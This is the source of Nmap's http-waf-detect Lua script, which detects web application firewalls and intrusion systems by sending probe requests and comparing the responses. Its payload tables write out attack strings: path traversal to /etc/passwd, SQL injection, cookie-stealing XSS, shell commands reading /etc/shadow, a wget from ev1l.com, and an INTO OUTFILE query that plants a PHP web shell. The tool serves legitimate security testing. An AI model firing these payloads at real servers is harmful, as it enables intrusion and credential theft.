1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Attempts to determine whether a web server is protected by an IPS (Intrusion
Prevention System), IDS (Intrusion Detection System) or WAF (Web Application
Firewall) by probing the web server with malicious payloads and detecting
changes in the response code and body.
To do this the script will send a "good" request and record the response,
afterwards it will match this response against new requests containing
malicious payloads. In theory, web applications shouldn't react to malicious
requests because we are storing the payloads in a variable that is not used by
the script/file and only WAF/IDS/IPS should react to it. If aggro mode is set,
the script will try all attack vectors (More noisy)
This script can detect numerous IDS, IPS, and WAF products since they often
protect web applications in the same way. But it won't detect products which
don't alter the http traffic. Results can vary based on product configuration,
but this script has been tested to work against various configurations of the
following products:
* Apache ModSecurity
* Barracuda Web Application Firewall
* PHPIDS
* dotDefender
* Imperva Web Firewall
* Blue Coat SG 400
]]
---
-- @usage
-- nmap -p80 --script http-waf-detect <host>
-- nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.uri=/testphp.vulnweb.com/artists.php" www.modsecurity.org
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- |_http-waf-detect: IDS/IPS/WAF detected
--
-- @args http-waf-detect.uri Target URI. Use a path that does not redirect to a
-- different page
-- @args http-waf-detect.aggro If aggro mode is set, the script will try all
-- attack vectors to trigger the IDS/IPS/WAF
-- @args http-waf-detect.detectBodyChanges If set it also checks for changes in
-- the document's body
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
portrule = shortport.http
local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd",
"?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables",
"?p4yl04d3=<script>alert(document.cookie)</script>"}
local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=<?php%20phpinfo();%20?>",
"?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php",
"?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00",
"?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt",
"?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"}
local function fail (err) return stdnse.format_output(false, err) end
action = function(host, port)
local orig_req, tests
local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
local aggro = stdnse.get_script_args(SCRIPT_NAME..".aggro") or false
local use_body = stdnse.get_script_args(SCRIPT_NAME..".detectBodyChanges") or false
--get original response from a "good" request
stdnse.debug2("Requesting URI %s", path)
orig_req = http.get(host, port, path)
orig_req.body = http.clean_404(orig_req.body)
if orig_req.status and orig_req.body then
stdnse.debug3("Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body)
else
return fail("Initial HTTP request failed")
end
--if aggro mode on, try all vectors
if aggro then
for _, vector in pairs(attack_vectors_n2) do
table.insert(attack_vectors_n1, vector)
end
end
--perform the "3v1l" requests to try to trigger the IDS/IPS/WAF
tests = nil
for _, vector in pairs(attack_vectors_n1) do
stdnse.debug2("Probing with payload:%s",vector)
tests = http.pipeline_add(path..vector, nil, tests)
end
local test_results = http.pipeline_go(host, port, tests)
if test_results == nil then
return fail("HTTP request table is empty. This should not ever happen because we at least made one request.")
end
--get results
local waf_bool = false
local payload_example = false
for i, res in pairs(test_results) do
res.body = http.clean_404(res.body)
if orig_req.status ~= res.status or ( use_body and orig_req.body ~= res.body) then
if not( payload_example ) then
payload_example = attack_vectors_n1[i]
end
if payload_example and ( string.len(payload_example) > string.len(attack_vectors_n1[i]) ) then
payload_example = attack_vectors_n1[i]
end
stdnse.debug2("Payload:%s triggered the IDS/IPS/WAF", attack_vectors_n1[i])
if res.status and res.body then
stdnse.debug3("Status:%s Body:%s\n", res.status, res.body)
end
waf_bool = true
end
end
if waf_bool then
return string.format("IDS/IPS/WAF detected:\n%s:%d%s%s", stdnse.get_hostname(host), port.number, path, payload_example)
end
end
|